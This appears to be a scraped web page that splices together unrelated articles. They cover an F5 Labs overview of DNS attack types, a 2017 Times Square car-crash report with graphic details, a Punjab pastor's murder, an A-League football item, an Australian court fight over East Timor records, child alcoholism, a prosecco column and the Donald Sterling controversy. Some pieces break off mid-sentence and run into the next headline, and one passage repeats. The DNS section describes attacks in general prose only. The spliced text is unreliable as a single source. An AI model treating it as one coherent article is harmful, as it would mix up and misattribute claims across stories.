Available on Amazon as Ebook or Paperback
Check out our latest South America Funky Guide for more on Colombia and the rest of the continent!
PREVIOUS CITY | NEXT CITYDNS Is Still the Achilles Heel of the Internet
Domain Name Services is too important to do without, so we better make sure it's reliable and incorruptible
Domain Name Services (DNS) is too important to do without, but it’s difficult to defend. This makes DNS services an excellent target for attack. Taking out an organization’s DNS service renders it unreachable to the rest of the world except by IP address. If "f5.com" failed to be published online, every single Internet site and service we ran would be invisible. This means web servers, VPNs, mail services—everything.
Even worse, if hackers could change the DNS records, they could then redirect everyone to sites they controlled. Since DNS is built upon cooperation between millions of servers and clients over insecure and unreliable protocols, it is uniquely vulnerable to disruption, subversion, and hijacking. Here’s a quick rundown of the known major DNS attacks.
Denial of Service
Denial-of-service attacks are not limited to DNS, but taking out DNS decapitates an organization. Why bother flooding thousands of web sites when killing a single service does it all for you? The most famous DoS attack against DNS are the recent Dyn DDoS attacks which exceeded 40 gigabytes of noise blared at their DNS services. Dyn was running DNS services for many major organizations, so when they were drowned by a flood of illegitmate packets, so were companies like Amazon, Reddit, FiveThirtyEight, and Visa.
DNS can also be subverted for use as a denial-of-service weapon against other sites by way of DNS Amplification/Reflection. This works because DNS almost always returns a larger set of data than what it was queried. Since DNS runs over UDP, it’s a simple matter for attackers to craft fake packets spoofing a query source, so if they can fake thousands of queries from the victim’s IP address whose amplified responses will overwhelm the victim.
A DNS amplification attack floods the victims server with a tsunami of fake requests.
Image Source: F5
DNS Hijacking
Who owns what domain name, and what DNS servers are designated to answer queries are both managed by Domain Registrars. These are commercial services, such as GoDaddy, eNom, and Network Solutions Inc., where there are registered accounts controlling pointers to DNS servers. If attackers can hack those accounts, they can repoint a domain to a DNS server they control. This is how a Brazilian Internet banking site was completely taken over for hours.
DNS Server Vulnerabilities
Because DNS services are software, they can contain bugs that attackers can exploit. Luckily, DNS is old (so we’ve had time to find most of the bugs) and simple (so bugs are easy to spot), but problems have cropped up. In 2015, there was a rather significant hole found in BIND, an open-source DNS server running much of the Internet. Called CVE-2015-5477 (no cute name, thank you), BIND allowed an attacker to crash a DNS server with a single crafted query.
Another software vulnerability in DNS servers is the recursive DNS spoof cache poisoning technique, which means that an attacker can temporarily change DNS database entries by issuing specifically crafted queries.
Unauthorized DNS Changes
If you’ve got a server, someone must manage it. That means that you are dependent on how strongly you are authenticating the admins to that server, as well as ensuring the trustworthiness and competence of those admins. Because of the nature of DNS records, changes to DNS are cached by query clients; bad entries can sometimes take hours or days to unwind across the Internet.
DNS Data Leakage
You can’t run an unauthenticated Internet database full of important information without the occasional risk of leaking out something important. Attackers will query DNS servers looking for interesting Internet services that may not be widely known. DNS records can also aid phishing expeditions by using known server names in their phony baloney emails.
Many organizations run DNS on the inside of the network, advertising local resources for workstations. Some smaller organizations run split-horizon DNS servers that both DNS services to the world, as well as the inside network. A wrong configuration on that DNS server can lead to some devastating DNS data leakages as internal names and addresses are shared with attackers.
DNS Man-in-the-Middle
The easily spoofed protocol UDP that DNS uses is a weak link. An attacker inline between the victim and the DNS server they’re querying can intercept and monkey with DNS queries. It’s a pretty easy attack to pull off if you’re on the same wire or wireless as the victim or DNS server. An F5 researcher found a way to use it to steal Microsoft Outlook credentials. So, it’s an attack that shouldn’t be taken lightly.
Bottom line: We are stuck with DNS, so better make sure it’s reliable and incorruptible. The future of the Internet depends on it.
Get the latest application threat intelligence from F5 Labs.
Raymond Pompon is a Principal Threat Researcher Evangelist with F5 labs. With over 20 years of experience in Internet security, he has worked closely with Federal law enforcement in cyber-crime investigations. He has recently written IT Security Risk Control Management: An... View Full BioThis is the man Richard Rojas arrested driving a car through Times Square pic.twitter.com/pDTSEKiepI — ⚓Kevin Booker ⚓ (@KevinBooker206) May 18, 2017
Richard Rojas, the Bronx man accused of driving a Honda Accord into a Times Square crowd, killing a teenage tourist from Michigan, is a former Naval electrician who allegedly told police he thought “the end of the world was coming.”
“You were supposed to shoot me! I wanted to kill them,” Rojas, 26, allegedly told police, according to The New York Post. The motive: He may have been trying to commit “suicide by cop.”
Rojas, whose car allegedly jumped a sidewalk and injured 23 people, killing 18-year-old Alyssa Elsman, was interested in Scientology, and police don’t think he was motivated by terrorism. However, ABC 7 is reporting that he told police “he thought the end of the world was coming.”
The New York Post is reporting, through police sources, that Thomas Elsman, Alyssa’s father, “went to the police precinct where the suspect was being held … and threatened to kill him” after driving to New York from Michigan following the tragedy. He was taken to a hospital to calm down, reported The Post.
Suspect Richard Rojas immediately after the incident in Times Square. Horrific scenes. https://t.co/BFfvtsAgXA pic.twitter.com/hcYiGKG4JT — Rita Panahi (@RitaPanahi) May 18, 2017
The suspect “tested positive for PCP and told police that God made him do it,” CNN reported, adding that he expected officers to shoot him. However, authorities have not confirmed that account.
NBC News reported that the suspect was not drunk. Rojas is a U.S. citizen and military veteran with a criminal history, New York’s mayor said.
Rojas is accused of crashing his car onto a sidewalk in Times Square in New York, leaving behind a trail of blood and victims in the popular tourist spot. Four of the victims are in critical condition, the New York Post reports. Elsman, who died, was a car hop at a drive-in back in Michigan and was on a trip to New York with her family. (There is a GoFundMe site to help Alyssa’s family.)
Rojas has a troubled past, including a series of arrests. Heavy has obtained a 2012 police report from Florida that shows he was once arrested for threatening to kill “all police” after being accused of assaulting a cab driver, although the case was dropped.
TMZ published a series of photos that showed Rojas acting crazed in the middle of the street after the crash, which allegedly occurred after he sped the wrong way down a prominent thoroughfare. Police hit Rojas with a string of murder and attempted murder charges on May 19.
Note that some of the photos and videos in the story below are graphic and disturbing.
Here’s what you need to know:
1. The Suspect Is a Notary With Prior DUIs but Allegedly Tested Positive for Drugs & a Planet Hollywood Bouncer Helped Subdue Him
There were obviously initial concerns about terrorism. That’s because the scene of a vehicle ramming into a crowd at high-profile spots has become all too familiar. Terrorists, fueled by ISIS, have used that method in attacks in London, France, and Germany.
However, in Times Square, early reports pointed toward alcohol and, when that was ruled out, then drugs. According to CBS New York, the suspect “has two prior DWIs.” One was in Minnesota and one in Queens, reports NBC News.
Who is Richard Rojas? What we know about the 26-year-old driver who mowed down a crowd in Times Square https://t.co/illdP2QaV4 pic.twitter.com/wnUMhb5r6N — NBC New York (@NBCNewYork) May 18, 2017
It turned out that Rojas, who was born in the Bronx, didn’t have alcohol in his system. NBC New York reported that the suspect “blew a 0.0 when tested for alcohol at the precinct, but drug tests are pending.” ABC7 reported that Rojas allegedly tested “positive for drugs. Blood tests are underway to check for the presence of synthetic marijuana or PCP among other substances.”
According to CNN, police sources say PCP was allegedly found in Rojas’ system. However, other reports blamed synthetic marijuana or K2.
According to ABC7, witnesses reported the suspect seemed extremely impaired at the scene. “Rojas admitted smoking marijuana before driving, and when he was captured he told cops he wanted them to shoot him,” TMZ alleged.
Citizens rushed to subdue the suspect at the scene.
A video of his perp walk showed Rojas wearing a different color shirt than the photos of him at the scene. A witness told CBS that “the driver tried to run from the scene and the bouncer from Planet Hollywood hit him, so we jumped on top of him and ripped his shirt, wanted to make sure he had no gun or knife on him.” The ripped shirt might explain why he was later photographed wearing a red, not brown, shirt.
One of the critical people to intervene was Ken Bradix, the security guard at Planet Hollywood nearby.
“I turned around, I saw a car driving down 7th Avenue on the sidewalk and it was smoking,” Bradix said to Fox 5 New York. “[The driver] was screaming — no particular words — but he was screaming and flailing his arms in all kinds of directions.”
According to the television station, “Bradix ran to the middle of the street and he and a traffic agent tackled Rojas to the ground while cops raced over to cuff him. He said Rojas seemed like he was on something.”
Bradix told the AP that Rojas “began screaming, no particular words but just utter screaming. He was swinging his arms at the same time. There was something wrong with him.” According to BBC, the suspect allegedly later told police he had heard voices.
Police take 26-year-old Richard Rojas into custody following the deadly Times Square crash. pic.twitter.com/h8z2p3h71c — Eyewitness News (@ABC7NY) May 18, 2017
Rojas also has a May arrest for menacing. According to The New York Post, Rojas, “who is a notary, was arrested on May 11 in The Bronx for threatening someone who came to his house to get an annuity notarized. Rojas accused the person of stealing his ID, then put a knife to his throat, police sources said.” Although he was “charged with menacing and criminal possession of a weapon,” the Post reported, he pleaded guilty to harassment.
DEVELOPING NYPD name the driver of the car that plowed into pedestrians at Times Square as Richard Rojas, 26 More: https://t.co/rMQ7OiTkHT pic.twitter.com/H5mg0U29Mq — dwnews (@dwnews) May 18, 2017
The car plowed into a crowd of pedestrians, jumping a curb. In a news conference, the police commissioner said the crash occurred at 11:55 a.m., when the 2009 Honda Accord mounted a sidewalk on the west side of 7th Avenue at West 42nd Street in Times Square.
The vehicle drove at high rate of speed, striking pedestrians on the way, injuring 23 in all, and killing the teenage girl, the commissioner said. The injury count had climbed throughout the day.
Videos captured the actual moment the car struck people. Be aware they are graphic.
The moment Richard Rojas mowed down pedestrians in #TimesSquare. pic.twitter.com/y6MWP29oMV — Based Monitored 🇺🇸 (@BasedMonitored) May 19, 2017
According to NBC New York, in one of Rojas’ previous DUI cases, “he was driving faster than 99 mph in a 50 mph zone.”
The commissioner confirmed that Rojas was a resident of the Bronx with prior arrests, two for drunk driving (DWI). Investigators said in the news conference that they are looking further into his background.
The NYPD said within an hour after the crash that authorities don’t suspect terrorism.
2. Rojas Served in the Military as an Electrician’s Mate & Was Accused in Florida of Threatening to Kill ‘All Police’
In a news conference, New York Mayor Bill DeBlasio said that the suspect is a U.S. citizen who served in the military and has a criminal history.
“The perpetrator is in custody. He’s a United States citizen and former member of the armed forces with the United States Navy. He has a criminal history,” the mayor said.
He was stationed in Florida, Illinois, and South Carolina, and worked as an electrician’s mate. He was awarded a defense service medal.
Richard Rojas #TimesSquare suspect was Electrician's mate NS Mayport served aboard USS Carney. Defense Service Medal. @ActionNewsJax pic.twitter.com/Jth8S4fydW — Paige Kelton (@PaigeANjax) May 18, 2017
However, his Navy career unraveled with an arrest in 2012.
A 2012 police arrest report from Florida says officers were dispatched to the Mayport Naval Base after being informed an assault and battery had occurred on base and arrested Rojas. The case was dropped/abandoned in February 2013 for reasons that are unclear.
In the Florida case, officers were flagged down by a cab driver and told a green Honda was exiting the base being driven by the suspect. When officers stopped the car, they observed Rojas with an abrasion on his right hand. He yelled, “My life is over,” the report alleges.
Rojas allegedly turned and attempted to walk away, and the officer handcuffed him. He is accused of saying, “I beat the sh*t out of that cab driver and I’ll tell you why, he said, I owed him ($162). I beat the sh*t out of him. He disrespected me!”
The cab driver told police the suspect had attacked him after he refused to pay $44 cab fare. The report said Rojas was active duty Naval personnel.
“The suspect also made threats to kill all police and military police he might see after he (was) released from jail,” alleges the arrest report.
The report says Rojas allegedly told the victim to follow him into the barracks to get money to pay him, and at that time Rojas attacked him.
According to DNAInfo, Rojas “enlisted in the Navy on Sept. 17, 2011, and spent the next four months stationed in Illinois, Navy officials said.” He was stationed in Jacksonville, Florida “from January 2012 through to June 2013 when he reached the rank of Electrician’s Mate Fireman Apprentice and was stationed in the Naval Consolidated Brig in Charleston, South Carolina.” He was moved back to Jacksonville in 2013, the site reports.
He was “other than honorably discharged” in 2014.
According to The New York Times, Rojas grew up near Yankee Stadium and was known in earlier years for hanging out at auto shops and wanting to launch his own clothing line. However, his life deteriorated after his failed military service. When he returned to the Bronx to live with his mother, he descended into paranoia and substance abuse, the Times reported.
13 total patients currently reported at scene of motor vehicle accident in Times Square pic.twitter.com/ySwtL6ZLoc — FDNY (@FDNY) May 18, 2017
The crash into the Times Square crowd was horrific.
A witness told Fox News that she saw “clumps of people down.”
“We saw people laying on the sidewalk…with crowds of people laying around them. You could see clumps of people down the sidewalk with people all around them trying to help them.”
3. Rojas Had an Interest in Scientology & Allegedly Told Police He Thought the End of the World Was Imminent
There are multiple injuries after a car jumped the sidewalk in Times Square. Warning this video is graphic. pic.twitter.com/iPn8rp5LtJ — Shayna Estulin (@ShaynaEstulin12) May 18, 2017
Rojas had an interest in the controversial practice of Scientology, according to ABC 7.
“Investigators found materials that indicated Rojas has an interest in Scientology and made comments to police that indicated he thought the end of the world was coming,” reported the New York television station.
Harrison Ramos, 30, a friend of Rojas, told The New York Post that Ramos changed after his time in the military and started “drinking to relieve his stress.”
“He finally came home, and it was hard for him to find a job,” Ramos told the newspaper, adding that Rojas would rant about demons, devils, and conspiracy theories. “He was having a lot of bad nightmares. He was talking crazy. He was acting strange.”
Times Square was locked down after the incident, reports CBS. However, authorities were labeling the crash an “accident,” at least initially.
PERP WALK: Times Square Attacker Walks Out Of NYPD Precinct In Manhattan pic.twitter.com/BVeyeGd6Rh — Breaking911 (@Breaking911) May 18, 2017
The New York Fire Department referred to the incident on Twitter as a “motor vehicle accident in Times Square.” According to Fox News, “several police sources told Fox News the incident appeared to be an accident. The NYPD press office had not yet confirmed that.”
However, in the news conference, Mayor DeBlasio confirmed that authorities don’t suspect terrorism. “Based on the information we have right now, there’s no indication this is an act of terrorism,” he said.
According to The New York Post, Rojas is accused of punching a police officer.
“When the car finally crashed into a pole, the driver got out of the vehicle and tried to run away, according to witnesses. He punched a police officer before several cops were able to apprehend him,” the Post reported.
4. Elsman Was on a New York Family Vacation & Her Sister Was Also Injured
Elsman, the girl who died, was visiting Times Square on a family vacation from Michigan, according to The New York Post. A 13-year-old girl who is the sister of the teen who died is among those injured, reported CBS New York.
Elsman was a car hop at a Sonic Drive-In back in Michigan, and her boyfriend told The New York Post he knew something was wrong when she didn’t text him back.
Elsman posted “a video to Instagram atop the famed red staircase at the Crossroads of the World” shortly before she died, according to the Post. She posted photos from Times Square in 2016, too.
Horrific images emerged from the carnage scene.
A witness told Reuters about seeing “one person was covered with a bloodstained blanket after the collision.” The car crashed into a pole before stopping, reported Reuters. Photos showed it remained on the scene for some time.
According to CNN, the incident occurred about a mile from Trump Tower, although the president was not there at the time. CNN reported that New York Governor Andrew Cuomo also headed to the scene.
5. Rojas Is Accused of Driving the Wrong Way Down Seventh Avenue
Witness accounts said the sedan, allegedly driven by Rojas, was spotted speeding the wrong way down Seventh Avenue toward the busy tourist venue, reports The New York Post.
The Post reported that the suspect allegedly drive down the busy street the wrong way for at least three blocks.
Photos showed the car “upended” on the sidewalk and injured people scattered on the street.
According to Fox News, “the vehicle was traveling against traffic and trying to enter a pedestrian section of Times Square.” The area was “heavily populated with tourists,” reports Fox.
According to Reuters, the vehicle was speeding when it collided into the crowd of pedestrians in Times Square. “A speeding vehicle struck pedestrians on a sidewalk in New York City’s Times Square on Thursday, according to an announcement at nearby Reuters news agency headquarters,” reported Reuters. Those injured were being treated at the scene, reported the news agency.
Videos and photos of the incident’s aftermath circulated on social media.
NBC News reported that there was a massive police response to the scene. “Emergency response in New York City’s Times Square due to incident involving a car reportedly hitting pedestrians,” the network tweeted.
The incident occurred around noon in New York (Eastern Standard Time), a time frame when Times Square is particularly busy.
This post will be updated as more information is known.Watch: The Chinese Replace A Huge Highway Overpass In Just 48 Hours
Watch the video--- here.
A time-lapse video of the Chinese replacing a |
Sometimes the creatures land relatively unscathed but in others they are frozen or shredded to pieces. Theories vary in their details but generally it is assumed thatcertain kinds of strong winds lift up the animals with a volume of water (fish and frogs from ponds, for example) or sweep them out of the sky in the case of birds and then deposit them, often right before a major storm.
Underground, Underwater and Other Wonders of the World
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Abandoned Cities, Buildings and Wonders of the World
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7 (More!) Abandoned Wonders of the Former Soviet UnionSikh extremist groups based in Belgium and Germany are on the Punjab Police and the Central Bureau of Investigation (CBI) radar for the murder of Ludhiana pastor Sultan Masih, 50, who was shot dead by two motorcycle-borne assailants in the Salem Tabri area of the city on July 15.
Following intelligence inputs, the role of sleeper cells of extremists groups is being investigated. Germany is considered a hub of Sikh extremists.
The Centre has on many occasions drawn the attention of the German government towards the presence and activities of individuals and organisations linked to extremist and terrorist elements operating in India, particularly Sikh extremists. The Khalistan flag and photographs of terrorists bearing weapons are openly displayed in many Sikh religious places in Germany.
NO CLUE OF KILLERS YET
However, the police have so far failed to trace the pastor’s killers, exposing its inability to bust the gangs behind selective killings. Sources said the police have no idea from where the attackers came and disappeared after the committing crime. Ludhiana police, sources said, scanned more than 500 footages of closed-circuit television (CCTV) cameras installed in the area and exit points of the city, but have failed to get any clue about the killers.
Be it the killing of Rashtriya Swayamsevak Sangh (RSS) leader Jagdish Gagneja, murder of Namdhari sect matriarch Chand Kaur and other high-profile cases in the past, officials dealing with the cases admitted that assailants did not left any trace at the crime spot. However, motorcycles were used in all killings.
“In Gagneja’s case, the bike-borne assailants entered Jalandhar from the Phagwara side, but in the pastor’s killing, no such clue is there. In both the cases, the attackers have not been caught on the camera,” said an investigator.
‘SERIOUS LAW AND ORDER PROBLEM’
“You cannot withdraw yourself by blaming Pakistan in every case where you don’t have a clue. There is serious law and order problem in Punjab. The attackers are selecting soft targets and are disappearing. It is a failure of the police,” said a senior minister in the Captain Amarinder Singh government.
PROBE ROLE OF HINDU HARDLINERS
Newly elected leader of Opposition in the Punjab assembly Sukhpal Khaira said the role of Hindu hardliners should be probed in pastor’s killing. Khaira, who was in Ludhiana on Friday to meet the pastor’s family, also questioned the role of Punjab Police in investigating the killings of religious leaders. “The murder of Ludhiana pastor is utter failure of the police. Director general of police Suresh Arora is hinting at a foreign hand behind the murder. You cannot get away every time by blaming Pakistan for all crimes in this border state.”
First Published: Jul 22, 2017 09:04 ISTFORMER Brisbane Roar striker Jean Carlos Solorzano has until Friday week to earn a new contract with the A-League leaders.
A key member of the Roar's 2010-11 championship-winning team with 11 goals, the 26-year-old Costa Rican attacker has returned to Brisbane hoping to revive his A-League career.
Solorzano's move to Melbourne Victory for the 2011-12 campaign was disastrous, starting only four games and failing to score.
News_Rich_Media: Brisbane Roar defender Shane Stefanutto says Alessandro del Piero has contributed greatly to the growth of Australian football during his time in the A-League and would be sorely missed if he left for Thailand.
Round 21 Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre
He returned to Costa Rica, where he last year played for top-flight club Puntarenas before injuring his foot.
Having recovered, Solorzano has been given a chance by Roar coach Mike Mulvey to prove his worth.
Mulvey admits to knowing little about Solorzano, but was happy to take the recommendation of Brisbane football director Ken Stead.
"He's got to show me by next Friday that he can do a job for us,'' said Mulvey, who wants someone to have the same impact as teenage prodigy Kwame Yeboah did before his move to German club Borussia Monchengladbach.
News_Rich_Media: David Davutovic chats to Fox Sports News about injured Socceroo Robbie Kruse, Tom Rogic's A-league return, and the Newcastle Jets' surprise sacking of Gary van Egmond.
"I want a player on the bench who I can bring on with about 20 minutes to go and have a bearing on the game, like Kwame did.
"It helps him (Solorzano) that he's been here before and knows the way a lot of the team plays.''
Mulvey said if Solorzano was offered a contract, it would only be a deal until the end of the season.
If Mulvey does not like what he sees in Solorzano, he has two other striking options he to pursue.
"There's no shortage of players out there. We've got agents ringing us every day,'' he said.
"We've gone through 10 players in the last four days and I've said no to them all because they didn't fit in with what we wanted.''
News_Rich_Media: Full replay of Brisbane Roar's clash with Perth Glory.
Hopes of Socceroo Ivan Franjic returning for the Roar's home clash on Friday night against Wellington Phoenix have been scuttled, with the fullback likely to need another week to recover from a stomach strain.
The Roar are already without suspended striker Besart Berisha, while star midfielder Matt McKay is also an unlikely starter for the competition leaders due to the ankle injury he suffered in Brisbane's 0-0 draw with Perth Glory last week.
The Phoenix will be without key attacking pair Carlos Hernandez and Kenny Cunningham, who are representing Costa Rica this week in friendly games against Chile and South Korea.
Both scored in the Phoenix's 5-0 thrashing of Melbourne Victory last Saturday."This is about whether the executive branch of government can conduct policy and withhold information without judicial oversight," Fernandes told VICE News during an adjournment in federal court proceedings.
At the other end of the fray is Clinton Fernandes, a former Australian military intelligence official turned political studies professor.
On Wednesday, the Federal Court of Australia sent a case regarding public access to government records that could reveal details of Indonesian war crimes in East Timor during the 1975-1999 occupation back to the Administrative Appeals Tribunal. The Attorney-General's Department and the National Archives are arguing to keep the files under wraps.
The case shows just how far Australia is willing to go to keep Indonesia onside, especially as immigration policy looms large.
Australia's government is fighting to keep proof of Indonesian war crimes from public view, and the effort is apparently meant to keep Indonesia's government happy.
Read more
Australia's government is fighting to keep proof of Indonesian war crimes from public view, and the effort is apparently meant to keep Indonesia's government happy.
The case shows just how far Australia is willing to go to keep Indonesia onside, especially as immigration policy looms large.
On Wednesday, the Federal Court of Australia sent a case regarding public access to government records that could reveal details of Indonesian war crimes in East Timor during the 1975-1999 occupation back to the Administrative Appeals Tribunal. The Attorney-General's Department and the National Archives are arguing to keep the files under wraps.
At the other end of the fray is Clinton Fernandes, a former Australian military intelligence official turned political studies professor.
"This is about whether the executive branch of government can conduct policy and withhold information without judicial oversight," Fernandes told VICE News during an adjournment in federal court proceedings.
China enlists Australia in the hunt for wealthy corrupt officials abroad. Read more here.
The world has long wondered what exactly happened during Indonesia's almost 25-year occupation of East Timor. Amnesty International estimates that some 200,000 East Timorese — roughly a third of the country's population — were killed or died of sickness and starvation during the occupation.
Indonesia won't be releasing its records from this period any time soon, but its Australian neighbor has diplomatic cables and intelligence reports that can help provide an accurate account of alleged war crimes — and Fernandes is fighting his third case in seven years to access these documents.
"I'm pursuing documents from 1981 when, between August and September, the Indonesian military rounded up 145,000 men — subsistence farmers — and marched them across the island in front of their military as human shields, trying to flush out resistance fighters," he said, speaking of an operation known as the "Fence of Legs" in Indonesia. "During this time, our diplomats received briefings from Indonesian officials. I wanted to know what we knew, so I filed for the documents."
Ordinarily, Australian government documents are available to the public after 20 years, or 30 in the case of cabinet documents, but they can be withheld under special circumstances. These include the material's release posing a threat to national security or foreign relations.
Australia's foiling of an alleged Islamic State beheading plot raises questions. Read more here.
When the National Archives refused Fernandes's request, the government cited the damage the disclosure could do to the relationship with Indonesia as the reason for not releasing the documents. Fernandes responded by petitioning the Administrative Appeals Tribunal.
"Suharto, the dictator at the time, is dead," Fernandes told VICE News. "All the generals are either dead or retired. East Timor, where all of this happened, is independent now. From my point of view, there's no conceivable harm in releasing this information."
"They've said that the documents don't involve signals intelligence in open court, and their argument doesn't relate to jeopardizing the ability of the government to gather intelligence," he added. "This is significant. I'm very conservative when it comes to damaging our intelligence gathering. I don't want to compromise our ability to defend ourselves, but this argument is more like, Indonesia will be angry and sulk."
Attorney-General George Brandis has ordered that arguments be heard under what is known as a "public interest certificate," which prevents Fernandes or his legal team hearing evidence the government puts forward. This has applied to the Administrative Appeals Tribunal hearing, and now the hearings in Federal Court. The government has also obtained a "top secret" classification for the evidence it is presenting.
"It leaves us to basically take a stab in the dark and guess what their case is, so that we construct a case that addresses their evidence," Fernandes said of the cloak of secrecy. "But they can presumably rebut our evidence in closed session."
Such measures are usually reserved for cases involving ongoing threats to national security, and have their critics even then. So why is the Australian government going to such lengths to shield Indonesia's reputation?
The relationship between the two countries has been on thin ice of late, particularly after Edward Snowden's leaks revealed last year that the Australian Signals Directorate had tapped the phones of then-Indonesian President Susilo Bambang Yudhoyono and his wife.
The discovery prompted Indonesia to recall its ambassador from Australia in response, and demonstrators at mass protests in Jakarta burned Australian flags and images of Australian Prime Minister Tony Abbott, who refused to apologize for what he called "reasonable intelligence-gathering activities."
Joko 'Jokowi' Widodo wins Indonesian presidency, heralds reform. Read more here.
Indonesia also conducted a review of its cooperation with Australia in foreign affairs, and insisted that Australia sign a code of conduct before the relationship was normalized that included promising not to use intelligence gathering in a way that would harm the other party.
But while normal diplomatic relations resumed, they have nevertheless remained somewhat tenuous, so much so that both candidates during Indonesia's presidential election this year acknowledged during televised debates that the relationship was poor.
"I think we are always regarded as a weak country," Joko Widodo, the eventual winner of the presidency, said of the relationship in June. "We have to show that we are a country with dignity, and not let other countries treat us as weaklings," he went on, adding that if disputes could not be resolved over asylum seekers traveling via Indonesia to Australia, then "we can bring them [Australia] to international courts if necessary".
Indonesia's cooperation is crucial to the Australian government's pledge to end the arrival of boatloads of refugees in Australian waters every year. Australia received more than 18,000 refugee access requests between 2012 and 2013. When Abbott took office last year, a central plank of his government's policy platform was to stop the boats, including by forcibly turning them back to Indonesian waters.
During the suspension of diplomacy over the Snowden revelation, Indonesia's navy refused to accept "tow-backs" of refugee-filled boats from the Australian navy, creating political fallout for Abbott's government as it struggled to maintain its border protection policy.
United Nations condemns Australia over 'inhuman' treatment of asylum seekers. Read more here.
The government appears to be concerned that the East Timor documents case not give its critics in Indonesia ammunition that could force Joko Widodo's hand.
The people of East Timor, meanwhile, are left to watch this calculation of regional diplomacy on the sidelines.
"During the occupation they were living in a subsistence economy, and as it was not a society that had a high level of education, they weren't able to necessarily record what was going on," Fernandes explained. "So for East Timorese I talk to, they're delighted that these records are starting to come out, because for them these records are evidence of the lives their fathers and mothers and grandparents had. It's proof that it happened."
The case will be re-heard before the Administrative Appeals Tribunal, although a date is yet to be set.The child has been treated in hospital after being given alcohol regularly for six months.
The unnamed youngster, from the West Midlands, was one of 13 children who were diagnosed alcoholic by the Heart of England NHS Trust between 2008 and 2010.
In the same period, 106 teenagers aged 13 to 16 were also treated for their addiction to alcohol.
Nicolay Sorensen, a spokesman for Alcohol Concern, said: "To be diagnosed alcoholic, it's possible this child would have shown a physical dependency. They would have had to ingest enough to cause withdrawal symptoms.
"Whatever the circumstances, it is a truly horrifying case and raises very serious child protection issues."
Sarah Matthews, spokeswoman for the British Liver Trust, said: “This is an extreme case and definitely one of the youngest cases of alcoholism we have heard of.
“However, it does raise the issue of the accessibility of alcohol and how normal it has become. The power of cheap alcohol, availability and promotion makes it very difficult for people to consider their health when making decisions about if they drink and how much.”
The statistics emerged just weeks after Brighton and Sussex University Hospitals NHS Trust revealed that hundreds of children were admitted to hospital every year, often after their parents have bought them alcohol.
Their research found four five-year-olds among 165 under-17s they treated in the past five years for drink and drug problems.Women, in particular, have been warned against the aesthetic dangers of downing too much of the much-loved drink. But it’s not the only reason to quit the fizz
Britons, famously, love prosecco: we drank 40 million litres of it last year, which was Boris Johnson’s rather circuitous rationale for why it would all be fine, fine, fine after we left the EU. This is all definitively explained, first by its low price, and second by Nigella Lawson’s keen observation that it had such an uptick on her mood that she called it prozacco.
Why just whine about prosecco? | Barbara Ellen Read more
Yet it exacts a price later, when the carbonation, alcohol and sugar – dentistry’s axis of evil – destroy your teeth, variously stripping their enamel, making holes in them and pulling them out of your gums. Dr Mervyn Druian, of the London Centre for Cosmetic Dentistry, warned that women, especially, were putting themselves at risk of a “prosecco smile”, taking the opportunity presented by oral health to underline to the uppity drunk ladies that when you’re not pretty, nobody loves you and then you die, like in a Melanie Martinez song. If I were a young woman, this would only encourage me; but being the bearer of an ex-smoker and Fanta-drinker’s smile, I care about teeth, and proffer six other good reasons to stop drinking it.
1. River Island have a prosecco slogan T-shirt – “I’ll be there in a prosecco” – and they’re not the only ones. Suffice to say that the kind of people who advertise their drink on a T-shirt are the kind you shouldn’t be drinking the same drink as.
2. Even at a tenner a bottle, it is plainly cheaper than champagne, yet the price can go as low as £3.33 a bottle, with no discernible impact on its taste. I’m not a stickler, but this isn’t a wine, this is an alcohol delivery system. That lowest price, by the way, was recorded at Lidl, when they were offering six bottles for 20 quid, generating queues outside the Bristol store that gathered at 6.50am. Two words: Roman Empire. No, wait, three more words: Decline of the.
3. In the olden days, if you wanted to get drunk on bubbles but couldn’t afford champagne, you would drink beer. The more or less wholesale replacement of “fizz” with a “cheaper thing that is also fizzy” has a kind of resigned permanence, as though we’re reconciled to being a nation with less to celebrate and less money to do it with.
4. Prosecco has that inexplicable, unmarketable status as the drink you drink when it would be inappropriate to drink a proper drink, a bit like Pimm’s without the vitamins. You can drink it on a playdate, or at 11am, or anytime you are on a boat, whatever time it is, whatever the destination. But – Newsflash – after a bottle, you are just as pissed as you would have been after a bottle of anything else, which makes you feel weak and unjustly used, like you’ve been mugged by a child.
5. Prosecco hangovers have a particular quality, like having your eyeballs removed and replaced by pear drops. I do not like that.
6. I saw a stag party walking past the pub last night, carrying a pick’n’mix of booze, including prosecco. It caught my eye because, usually, binge drinkers never touch it. This is because of the prosecco-blackout, which is like going to the pub and spiking yourself.
Hope this helps. Stay toothsome, ladies.Basketball legends Magic Johnson and Michael Jordan both voiced harsh criticism in response to racist comments allegedly made by Los Angeles Clippers owner Donald Sterling.
Johnson, speaking Sunday on ABC's playoff pregame show, said he wants NBA commissioner Adam Silver to "come down hard" on Sterling.
The comments that allegedly came from Sterling were made on an audio recording obtained and released by TMZ. In those remarks, the man believed to be Sterling referred to Johnson.
"He shouldn't own a team anymore," said Johnson, who also said Sterling was one of the first people he met after moving to Los Angeles, where he was a Lakers star for many years.
"I had a friendship with him. So for him to then make these comments, or alleged comments, about myself as well as other African-Americans and minorities, there's no place in our society for it. There's no place in our league, because we all get along. We all play with different races of people when you're in sports. That's what makes sports so beautiful."
The man making the comments also urged his girlfriend V. Stiviano not to bring black friends to Clippers games. The NBA and the Clippers are investigating, including whether the male voice on the recording is in fact Sterling's.
The website Deadspin released an extended 15-minute version of the alleged conversation Sunday.
In that recording, the woman alleged to be Stiviano asks, "Do you know that you have a whole team that's black that plays for you?"
The man, alleged to be Sterling, responds: "You just, do I know? I support them and give them food, and clothes, and cars, and houses. Who gives it to them? Does someone else give it to them? Do I know that I have -- Who makes the game? Do I make the game, or do they make the game? Is there 30 owners, that created the league?"
Stiviano's lawyer released a statement Sunday afternoon that stated the tapes carrying the alleged voices of Stiviano and Sterling were "legitimate." The quotes came from approximately an hour's worth of recorded conversation, which Stiviano says she did not leak to the media.
Jordan, a five-time NBA MVP as a player and the current owner of the Charlotte Bobcats, released a statement Sunday saying he is outraged and disgusted by the comments.
Jordan said he has two different perspectives on the racist comments -- one as an owner and the other as a former player.
"As an owner, I'm obviously disgusted that a fellow team owner could hold such sickening and offensive views," Jordan said. "I'm confident that Adam Silver will make a full investigation and take appropriate action quickly. As a former player, I'm completely outraged.
"There is no room in the NBA -- or anywhere else -- for the kind of racism and hatred that Mr. Sterling allegedly expressed. I am appalled that this type of ignorance still exists within our country and at the highest levels of our sport. In a league where the majority of players are African-American, we cannot and must not tolerate discrimination at any level."
